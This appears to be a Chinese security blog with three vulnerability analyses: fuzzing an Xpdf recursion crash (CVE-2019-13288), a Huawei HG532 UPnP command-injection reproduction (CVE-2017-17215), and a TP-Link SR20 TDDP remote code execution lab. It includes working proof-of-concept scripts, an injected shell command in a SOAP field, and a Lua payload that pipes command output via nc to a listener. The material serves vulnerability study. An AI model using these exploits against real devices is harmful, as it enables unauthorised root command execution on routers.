😀



### CVE-2019-13288漏洞分析

---



#### 简述

在 Xpdf 4.01.01 中 Parser.cc 中的 Parser::getObj() 函数可能会通过精心设计的文件导致无限递归 远程攻击者可以利用它进行 DoS 攻击



#### 环境配置

> Xpdf版本选用3.02

下载对应版本Xpdf并解压 

```bash
$ wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
$ tar -xvzf xpdf-3.02.tar.gz
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612170352.png)



创建临时文件夹

```bash
$ mkdir ~/install/
```



编译Xpdf

```bash
$ ./configure --prefix="$HOME/install/"
$ make
$ make install
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230613110419.png)



下载测试样例

```bash
$ mkdir example & cd example
$ wget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdf
$ wget http://www.africau.edu/images/default/sample.pdf
$ wget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612171747.png)



AFL基础依赖配置

```bash
$ sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
$ sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang 
$ sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev
```



编译AFL++

```bash
$ git clone https://github.com/AFLplusplus/AFLplusplus & cd ./AFLplusplus
$ export LLVM_CONFIG="llvm-config-11"
$ make
$ sudo make install
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612173321.png)



使用`afl-clang-fast`重新编译Xpdf

```bash
$ cp -r ./AFLplusplus ~/
$ cd ./xpdf-3.02
$ make clean
$ export LLVM_CONFIG="llvm-config-11"
$ CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/install/"
$ make
$ make install
```



#### 漏洞分析



使用AFL对`pdftotext`进行FUZZ

```bash
$ afl-fuzz -i ./example/ -o ./out/ -s 123 -- ./install/bin/pdftotext @@ ./output/
```



玩了会手机 发现有25个crash

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612175934.png)



随便找一个crash样例测试一下 可以看到确实导致`pdftotext`段错误从而崩溃

```bash
$ ./install/bin/pdftotext ./out/default/crashes/id:000001,sig:11,src:000982,time:631621,execs:241760,op:havoc,rep:16
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612181756.png)



使用GDB载入测试

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612182202.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612182227.png)



既然漏洞文档说了是无限递归问题 那么就使用`bt`指令查看下栈帧 发现确实是无限递归调用 那么现在问题就是无线递归的起始点在哪

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612185047.png)



通过翻看栈帧调用其实也能基本确定 很明显`#58137 - #58131`是一个循环节 即`dictLookup() -> fetch() -> getObj() -> getObj() -> getObj() -> getObj() -> makeStream()`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612185153.png)



其次 通过分析最初始的栈帧调用 很明显第一次调用是没有问题的 关键就是在于`makeStream() -> dictLookup()`这一步

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612185419.png)



可以从源码级来审视一下调用 在`pdftotext.cc:151`新建了一个`PDFDoc`对象  且此时的参数`fileName`类型为`GString`

```c
// xpdf/pdftotext.cc
int main(int argc, char *argv[]) {
  ...
  // open PDF file
  if (ownerPassword[0] != '\001') {
    ownerPW = new GString(ownerPassword);
  } else {
    ownerPW = NULL;
  }
  if (userPassword[0] != '\001') {
    userPW = new GString(userPassword);
  } else {
    userPW = NULL;
  }
  doc = new PDFDoc(fileName, ownerPW, userPW);
  ...
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612200813.png)



根据参数类型选择对应的`PDFDoc` 整体逻辑很简单就是打开文件 然后创建文件流 最后调用`PDFDoc::setup()` 因为我们在最初始的时候没有传入密码相关的参数 所以此时的`ownerPassword`和`userPassword`按道理来说仍然指向`0x0`

```c++
// xpdf/PDFDoc.cc
PDFDoc::PDFDoc(GString *fileNameA, GString *ownerPassword,
	       GString *userPassword, void *guiDataA) {
  Object obj;
  GString *fileName1, *fileName2;

  ok = gFalse;
  errCode = errNone;

  guiData = guiDataA;

  file = NULL;
  str = NULL;
  xref = NULL;
  catalog = NULL;

  fileName = fileNameA;
  fileName1 = fileName;


  // try to open file
  fileName2 = NULL;
  if (!(file = fopen(fileName1->getCString(), "rb"))) {
    fileName2 = fileName->copy();
    fileName2->lowerCase();
    if (!(file = fopen(fileName2->getCString(), "rb"))) {
      fileName2->upperCase();
      if (!(file = fopen(fileName2->getCString(), "rb"))) {
	error(-1, "Couldn't open file '%s'", fileName->getCString());
	delete fileName2;
	errCode = errOpenFile;
	return;
      }
    }
    delete fileName2;
  }

  // create stream
  obj.initNull();
  str = new FileStream(file, 0, gFalse, 0, &obj);

  ok = setup(ownerPassword, userPassword);
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612201757.png)



这里根据函数名可以大致推测出来相关功能 首先是检查了文件头 判断传入的是不是PDF文件 然后检查PDF文件的Xref表 检查文件是否损坏 然后检查加密情况 最后根据Xref交叉引用表 新建Catalog对象生成Catalog文档目录

```c++
// xpdf/PDFDoc.cc
GBool PDFDoc::setup(GString *ownerPassword, GString *userPassword) {
  str->reset();

  // check header
  checkHeader();

  // read xref table
  xref = new XRef(str);
  if (!xref->isOk()) {
    error(-1, "Couldn't read xref table");
    errCode = xref->getErrorCode();
    return gFalse;
  }

  // check for encryption
  if (!checkEncryption(ownerPassword, userPassword)) {
    errCode = errEncrypted;
    return gFalse;
  }

  // read catalog
  catalog = new Catalog(xref);
  if (!catalog->isOk()) {
    error(-1, "Couldn't read page catalog");
    errCode = errBadCatalog;
    return gFalse;
  }
	...
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612203517.png)



追入对象 发现上来就调用了`getCatalog` 未发现对`catDict`的赋值通过动态调试出`catDict`

```c++
// xpdf/Catalog.cc
Catalog::Catalog(XRef *xrefA) {
  Object catDict, pagesDict, pagesDictRef;
  Object obj, obj2;
  char *alreadyRead;
  int numPages0;
  int i;

  ok = gTrue;
  xref = xrefA;
  pages = NULL;
  pageRefs = NULL;
  numPages = pagesSize = 0;
  baseURI = NULL;

  xref->getCatalog(&catDict);
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230612204756.png)



注意这里调用的是`Object`类型的`fetch`

```c++
 // xpdf/XRef.h
 Object *getCatalog(Object *obj) { return fetch(rootNum, rootGen, obj); }
```



`Object.fetch`只是简单对`xref.fetch`进行封装 通过动调我们可以发现此时传入的参数为`xref->fetch(5, 0, &catDict)` 其中`&catDict == 0x7fffffffdbd0`

```c++
Object *Object::fetch(XRef *xref, Object *obj) {
  return (type == objRef && xref) ?
         xref->fetch(ref.num, ref.gen, obj) : copy(obj);
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230613111040.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230613110903.png)



根据动态调试程序会流向`XRef.cc:823` 也就是`parser->getObj` 此时调用的参数为`parser->getObj(&catDict, NULL, <RC4>, 21845, 5, 0)`

```c++
// xpdf/XRef.cc
Object *XRef::fetch(int num, int gen, Object *obj) {
  XRefEntry *e;
  Parser *parser;
  Object obj1, obj2, obj3;

  // check for bogus ref - this can happen in corrupted PDF files
  if (num < 0 || num >= size) {
    goto err;
  }

  e = &entries[num];
  switch (e->type) {

  case xrefEntryUncompressed:
    if (e->gen != gen) {
      goto err;
    }
   	...
    parser->getObj(obj, encrypted ? fileKey : (Guchar *)NULL,
		   encAlgorithm, keyLength, num, gen); // here
		...
}
```



根据栈帧显示 就是在此处的`makeStream`造成了无限递归 此时其参数为`makeStream(&cataDict, NULL, <RC4>, 21845, 5, 0)` 跟`getObj`的参数保持一致 注意此处的`Dict`对象是新建的

```c++
// xpdf/Parser.cc
Object *Parser::getObj(Object *obj, Guchar *fileKey,
		       CryptAlgorithm encAlgorithm, int keyLength,
		       int objNum, int objGen) {
  char *key;
  Stream *str;
  Object obj2;
  int num;
  DecryptStream *decrypt;
  GString *s, *s2;
  int c;

  ...
   obj->initDict(xref); // 此处新建Dict对象
    while (!buf1.isCmd(">>") && !buf1.isEOF()) {
      if (!buf1.isName()) {
	error(getPos(), "Dictionary key must be a name object");
	shift();
      } else {
	key = copyString(buf1.getName());
	shift();
	if (buf1.isEOF() || buf1.isError()) {
	  gfree(key);
	  break;
	}
	obj->dictAdd(key, getObj(&obj2, fileKey, encAlgorithm, keyLength,
				 objNum, objGen)); // Dict新增键值对
      }
    }
    if (buf1.isEOF())
      error(getPos(), "End of file inside dictionary");
    // stream objects are not allowed inside content streams or
    // object streams
    if (allowStreams && buf2.isCmd("stream")) {
      if ((str = makeStream(obj, fileKey, encAlgorithm, keyLength,
			    objNum, objGen))) {
	...
```



此处调用`dictLookup` 并且调用`dictLookup`时的参数`obj`是新建的`Object`对象 所以与参数`dict`无关

```c++
// xpdf/Parser.cc
Stream *Parser::makeStream(Object *dict, Guchar *fileKey,
			   CryptAlgorithm encAlgorithm, int keyLength,
			   int objNum, int objGen) {
  Object obj;
  BaseStream *baseStr;
  Stream *str;
  Guint pos, endPos, length;

  // get stream start position
  lexer->skipToNextLine();
  pos = lexer->getPos();

  // get length
  dict->dictLookup("Length", &obj);
  if (obj.isInt()) {
    length = (Guint)obj.getInt();
    obj.free();
  } else {
    error(getPos(), "Bad 'Length' attribute in stream");
    obj.free();
    return NULL;
  }
  ...
```



功能也比较明显 从`Object对象的dict属性中调用lookup方法` 其实就是从对象`Object`中寻找对应`key`的值

```c++
inline Object *Object::dictLookup(char *key, Object *obj)
  { return dict->lookup(key, obj); }
```

```c++
class Object {
public:

  // Default constructor.
  Object():
    type(objNone) {}

  // Initialize an object.
  Object *initBool(GBool boolnA)
    { initObj(objBool); booln = boolnA; return this; }
  Object *initInt(int intgA)
    { initObj(objInt); intg = intgA; return this; }
  Object *initReal(double realA)
    { initObj(objReal); real = realA; return this; }
  Object *initString(GString *stringA)
    { initObj(objString); string = stringA; return this; }
  Object *initName(char *nameA)
    { initObj(objName); name = copyString(nameA); return this; }
  Object *initNull()
    { initObj(objNull); return this; }
  Object *initArray(XRef *xref);
  Object *initDict(XRef *xref);
  Object *initDict(Dict *dictA);
  Object *initStream(Stream *streamA);
  Object *initRef(int numA, int genA)
    { initObj(objRef); ref.num = numA; ref.gen = genA; return this; }
  Object *initCmd(char *cmdA)
    { initObj(objCmd); cmd = copyString(cmdA); return this; }
  Object *initError()
    { initObj(objError); return this; }
  Object *initEOF()
    { initObj(objEOF); return this; }

  // Copy an object.
  Object *copy(Object *obj);

  // If object is a Ref, fetch and return the referenced object.
  // Otherwise, return a copy of the object.
  Object *fetch(XRef *xref, Object *obj);

  // Free object contents.
  void free();

  // Type checking.
  ObjType getType() { return type; }
  GBool isBool() { return type == objBool; }
  GBool isInt() { return type == objInt; }
  GBool isReal() { return type == objReal; }
  GBool isNum() { return type == objInt || type == objReal; }
  GBool isString() { return type == objString; }
  GBool isName() { return type == objName; }
  GBool isNull() { return type == objNull; }
  GBool isArray() { return type == objArray; }
  GBool isDict() { return type == objDict; }
  GBool isStream() { return type == objStream; }
  GBool isRef() { return type == objRef; }
  GBool isCmd() { return type == objCmd; }
  GBool isError() { return type == objError; }
  GBool isEOF() { return type == objEOF; }
  GBool isNone() { return type == objNone; }

  // Special type checking.
  GBool isName(char *nameA)
    { return type == objName && !strcmp(name, nameA); }
  GBool isDict(char *dictType);
  GBool isStream(char *dictType);
  GBool isCmd(char *cmdA)
    { return type == objCmd && !strcmp(cmd, cmdA); }

  // Accessors.  NB: these assume object is of correct type.
  GBool getBool() { return booln; }
  int getInt() { return intg; }
  double getReal() { return real; }
  double getNum() { return type == objInt ? (double)intg : real; }
  GString *getString() { return string; }
  char *getName() { return name; }
  Array *getArray() { return array; }
  Dict *getDict() { return dict; }
  Stream *getStream() { return stream; }
  Ref getRef() { return ref; }
  int getRefNum() { return ref.num; }
  int getRefGen() { return ref.gen; }
  char *getCmd() { return cmd; }

  // Array accessors.
  int arrayGetLength();
  void arrayAdd(Object *elem);
  Object *arrayGet(int i, Object *obj);
  Object *arrayGetNF(int i, Object *obj);

  // Dict accessors.
  int dictGetLength();
  void dictAdd(char *key, Object *val);
  GBool dictIs(char *dictType);
  Object *dictLookup(char *key, Object *obj);
  Object *dictLookupNF(char *key, Object *obj);
  char *dictGetKey(int i);
  Object *dictGetVal(int i, Object *obj);
  Object *dictGetValNF(int i, Object *obj);

  // Stream accessors.
  GBool streamIs(char *dictType);
  void streamReset();
  void streamClose();
  int streamGetChar();
  int streamLookChar();
  char *streamGetLine(char *buf, int size);
  Guint streamGetPos();
  void streamSetPos(Guint pos, int dir = 0);
  Dict *streamGetDict();

  // Output.
  char *getTypeName();
  void print(FILE *f = stdout);

  // Memory testing.
  static void memCheck(FILE *f);

private:

  ObjType type;			// object type
  union {			// value for each type:
    GBool booln;		//   boolean
    int intg;			//   integer
    double real;		//   real
    GString *string;		//   string
    char *name;			//   name
    Array *array;		//   array
    Dict *dict;			//   dictionary
    Stream *stream;		//   stream
    Ref ref;			//   indirect reference
    char *cmd;			//   command
  };

};
```



可以看到跟预测的功能差不多

```c++
Object *Dict::lookup(char *key, Object *obj) {
  DictEntry *e;

  return (e = find(key)) ? e->val.fetch(xref, obj) : obj->initNull();
}
```



这里比较关键的就是 动态跟进`find` 发现`e->val`类型为`objRef`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230613115300.png)



其中由于上面看到的`e->val->type == objRef` 所以满足条件 执行`xref->fetch(5, 0, newobj)` 至此陷入无限递归

```c++
Object *Object::fetch(XRef *xref, Object *obj) {
  return (type == objRef && xref) ?
         xref->fetch(ref.num, ref.gen, obj) : copy(obj);
}
```



整体修复思路也比较简单 要么限制递归次数 要么对寻找出来的`e`的类型进行校验即可

[CVE] Xpdf CVE-2019-13288 漏洞分析

[CVE] cgroup CVE-2021-4154漏洞分析

[Paper] DirtyCred: Escalating Privilege in Linux Kernel

😀



### CVE-2017-17215 HG532e路由器远程命令执行漏洞分析

---



#### 简述

华为HG532部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以将恶意数据包发送到`upnp`服务的端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。



#### 环境配置

官方未提供固件 使用[第三方](https://gitee.com/p1piyang/backward-analysis/tree/master/CVE-2017-17215)提供的固件 固件未加密 可以直接提取出文件系统

```bash
binwalk -Me ./HG532eV100R001C01B020_upgrade_packet.bin
```



模拟环境采用手动模拟 根据了解漏洞存在于`upnp`中 经过查看 发现`upnp`架构为MIPS 32位 大端序

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607004652.png)



从Debian[官网](https://people.debian.org/~aurel32/qemu/mipsel/)下载相关环境

- vmlinux-2.6.32-5-4kc-malta 
- debian_squeeze_mipsel_standard.qcow2



配置虚拟网卡

```bash
$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24
```



启动QEMU虚拟机 账户密码root-root

```bash
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011048.png)



配置虚拟机网卡 配置完成后与物理机相连

```bash
$ ifconfig eth0 10.10.10.2/24
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011219.png)



使用`scp`将之前解压的文件系统传入虚拟机 挂载目录 然后使用`chroot`切换根目录

```bash
$ scp -r ./squashfs-root/ root@10.10.10.2:/root/
$ mount -o bind /dev ./squashfs-root/dev
$ mount -t proc /proc ./squashfs-root/proc
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011537.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607011604.png)



使用ssh新开一个shell连接进虚拟机 一样切换根目录

```bash
$ ssh root@10.10.10.2
$ chroot ./squashfs-root/ sh
```



使用ssh的shell 启动mic服务

```bash
$ mic
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607090937.png)



mic服务会更改接口的ip地址 改回来即可

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607091016.png)



关闭物理机`Firefox`的安全相关检测

> 先地址栏输入about:config 进入高级首选项 然后搜索security.tls.version.enable-deprecated  将默认的 false改为 true

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607091130.png)

此时 物理机已经可以访问到路由器的Web端

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607091258.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607092056.png)



#### 漏洞复现

POC如下

```python
import requests
 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
 
data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;echo "1234";</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://10.10.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607093842.png)



#### 漏洞分析

根据漏洞文档 漏洞存在于upnp协议中 但是启动的是`mic` 首先先来 看看`mic`都执行了哪些操作 使用`Binary Ninja`打开`mic`



可以看到`main`函数中输出字符串`String mic now..`与程序输出吻合 可以确定main函数为执行起点

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174309.png)



重点关注的是`mic`与`upnp`之间的交互 搜索字符串`upnp` 可以看到在`sub_402304`和`MicMsgProc`中都有引用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174522.png)



追入`sub_402304`发现 `sub_402304`由`MicMsgProc`调用 且根据函数名猜测`sub_402304`功能为通过`upnp`字符串查找应用程序 然后启动该应用程序

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174628.png)



追入`MicMsgProc` 发现其由`main`函数调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607174838.png)



那么`upnp`启动的调用链已经明晰 `main() -> MicMsgProc() -> sub_402304()` 至此按照常理来说`upnp`服务已经启动 继续分析`upnp`即可



使用`Binary Ninja`打开`upnp` 前面基本都是一些参数配置 没有值得关注的点 可以看到在`402e50`的位置调用了`ATP_UPNP_GetMacAddr`下面调用了`ATP_UPNP_GetDeviceInfo`来获取设备情况 证明都是些基础设置

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607175509.png)



在`402edc`处检测确定upnp已经配置启动之后 调用了`ATP_UTIL_SocketCreateServer`配置Socket相关信息 其中`0x915f=37215` 然后在`0x402f50`处开始监听 后面继续配置了一个Socket用于SSL验证 这里不再给出 总体而言`main函数`主要负责Upnp服务的启动等基础配置

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607175714.png)



通过漏洞报告得知 存在的是一个命令执行漏洞 首要想查的就是`system` 这里可以先摸一下`system`的引用 可以看到有三个函数`sub_4031ac` `upnpRestoreState` `sub_40749c`引用了`system` 接下来就是逐一排查下 看看有没有漏洞点

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607200525.png)



首先是`sub_4031ac` 很明显执行的指令都是不可控的 可以pass

![image-20230607200643572](/Users/du4t/Library/Application Support/typora-user-images/image-20230607200643572.png)



`upnpRestoreState`同理 pass

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607200804.png)



`sub_40749c`有意思了 很明显在调用之前使用`snprintf`动态解析了参数 且解析的变量`var_418` `$v0_3`都与传入的参数`arg1`有关 通过函数名猜测`ATP_XML_GetChildNodeByName`是从XML中根据Name获取结点的属性值 可以怀疑其值是XML中`NewDownloadURL`和`NewStatusURL`的值

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607200734.png)



但是这时发现针对于`sub_40748c`没有引用 怀疑是跟之前的`file_operations`结构体一样 有一个函数表 对于这种情况可以直接按照byte搜索整个程序段中是否有关于`0x40749c`的数据 通过搜索 发现一个全局变量中存在`0x40749c` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607201535.png)



可以看到有三个函数引用了该变量 分别为`UPnPGetActionByName` `UpnpGetActListByActName` `ATP_UPNP_RegAction` 通过函数名基本判断前两个函数都与参数传递有关 重点关注前两个函数

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607201640.png)



首先先来看看`UPnPGetActionByName` 其中关于`0x4060**`很明显都是刚刚看过的全局变量的附近 在`40d900`处更是直接索引到了`407c9c`也就是我们怀疑存在漏洞的位置上 而程序能不能流向该处于`UPnPGetActionByName`的参数也息息相关 

![image-20230607202230781](/Users/du4t/Library/Application Support/typora-user-images/image-20230607202230781.png)



继续一层层往上追 可以看到`UPnPGetActionByName`被`sub_40a9c8`调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224017.png)



`sub_40a9c8`被`sub_40b5b4`调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224048.png)



`sub_40b5b4`被`ATP_UPNP_Init`和`sub_40bd64`调用(最后都会回归`ATP_UPNP_Init`)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224124.png)



`ATP_UPNP_Init`最终被`main`调用

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224212.png)



可以看到这里是必定调用的 因为端口绑定在下面 如果没有调用的话端口就不会绑定 则如果实现的话第一条调用路径为`main() -> ATP_UPNP_Init() -> sub_40b5b4() -> sub_40a9c8() -> UPnPGetActionByName() -> sub_40748c() ` 其余路径不再一一展开 大部分都是走的别的路径最后回归`ATP_UPNP_Init()` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230607224347.png)

静态分析到这里其实已经走进死胡同了 一个是路径过多的问题 还有就是静态分析其中函数传递的参数是不现实的 并且还要考虑到条件语句的问题 包括其实最开始这个漏洞并不是漏洞挖掘发现的 是僵尸网络攻击被抓到流量才发现的 所以放弃静态分析构建POC 且Web端没有发现`/ctrlt`相关的接口 不知道是怎么挖出来的...

[CVE] HG532e路由器远程命令执行 CVE-2017-17215漏洞分析

😀



### TP-Link SR20 本地网络远程代码执行漏洞分析及复现

---



#### 简述

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器 此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令 该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中  TDDP 是 TP-Link 申请了专利的调试协议 基于 UDP 运行在 1040 端口

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议 V1 版本无需认证 只需往 SR20 设备的 UDP 1040 端口发送数据 且数据的第二字节为 `0x31` 时 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行 这就导致存在远程代码执行漏洞



#### TDDP协议解析

![](https://patentimages.storage.googleapis.com/ed/2b/54/8cd9ad104a0e59/BDA0000045923030000031.png)



#### 环境配置

固件选用[官网](https://www.tp-link.com/us/support/download/sr20/#Firmware)提供的`SR20(US)_V1_180518` 固件未加密 可以直接使用binwalk提取出文件系统

```bash
binwalk -Me ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
```

尝试使用FirmAE模拟环境 发现可以模拟出Web服务但是无法进入Debug模式终端 故选择手动模拟



从 Debian [官网](https://people.debian.org/~aurel32/qemu/armhf/)下载 QEMU 需要的 Debian ARM 系统的三个文件

- debian_wheezy_armhf_standard.qcow2
- initrd.img-3.2.0-4-vexpress
- vmlinuz-3.2.0-4-vexpress



下载完成完成之后配置虚拟网卡

```bash
$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605115940.png)



启动QEMU虚拟机 账户密码 root-root 

```bash
$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605120456.png)



配置虚拟机网卡 配置完成后网络与物理机相通

```bash
$ ifconfig eth0 10.10.10.2/24
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605120624.png)



然后将文件系统打包过来之后挂载目录 并且使用`chroot`切换根目录即可

```bash
$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605120829.png)



物理机需要安装安装`atftpd`搭建`TFTP`来为QEMU虚拟机提供下载服务

```bash
$ sudo apt install atftpd
```

在安装之后需要修改配置文件`/etc/default/atftpd`更改一下FTP根目录方便我们操作

```conf
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
```

启动服务

```bash
$ sudo systemctl start atftpd
```

> 如果出现`atftpd: can't bind port :69/udp` 
>
> ```bash
> $ sudo systemctl stop inetutils-inetd.service
> $ sudo systemctl restart atftpd
> ```



#### 漏洞复现

在atftp根目录下写入`payload`

```sh
function config_test(config)
  os.execute("id | nc 10.10.10.1 1337")
end
```



启动虚拟机中tddp服务

```bash
$ tddp
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121319.png)



物理机监听1337端口

```bash
$ nc -lvnp 1337
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121410.png)



调用POC

```bash
$ python3 poc.py 10.10.10.2 /payload
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121503.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121518.png)

代码得到执行



POC如下

```python
#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0

# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename

import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
```



#### 逆向分析

通过漏洞复现很明显漏洞存在于`/usr/tddp`中 使用IDA进行逆向分析 并且可以通过字符串定位关键函数

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121503.png)



在启动时有字符串`tddp task start` 使用IDA 定位到函数`sub_936C`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605121913.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122129.png)



上层继续看一眼 发现是分流 且为最顶层 故认为是main函数 那么继续分析`sub_936C` 即可

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122203.png)

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122219.png)



内部大部分函数功能都能一眼看出来 这里直接给出函数重命名后的`sub_936C` 分析后发现没有接收数据的函数 判断`sub_16418`为数据接受相关 重点转向`sub_16418` 

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605122902.png)

发现在`sub_16418`中确实存在大量`sendto()`和`recvfrom()`确定为数据接收相关

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605123055.png)

从32行`v18 = recvfrom(v14[9], (char *)v14 + 0xB01B, 0xAFC8u, 0, &addr, &addr_len);` 可以知道数据是存在`v14+0xB01B`的 以此为依据可以向下继续追数据相关的操作 或者可以根据之前复现时的字符串都可以定位到数据处理关键函数`sub_15E74`

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605130032.png)

逐一看过来 发现基本都是测试和debug用的函数 直到`case 0x31`的位置

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230605132547.png)

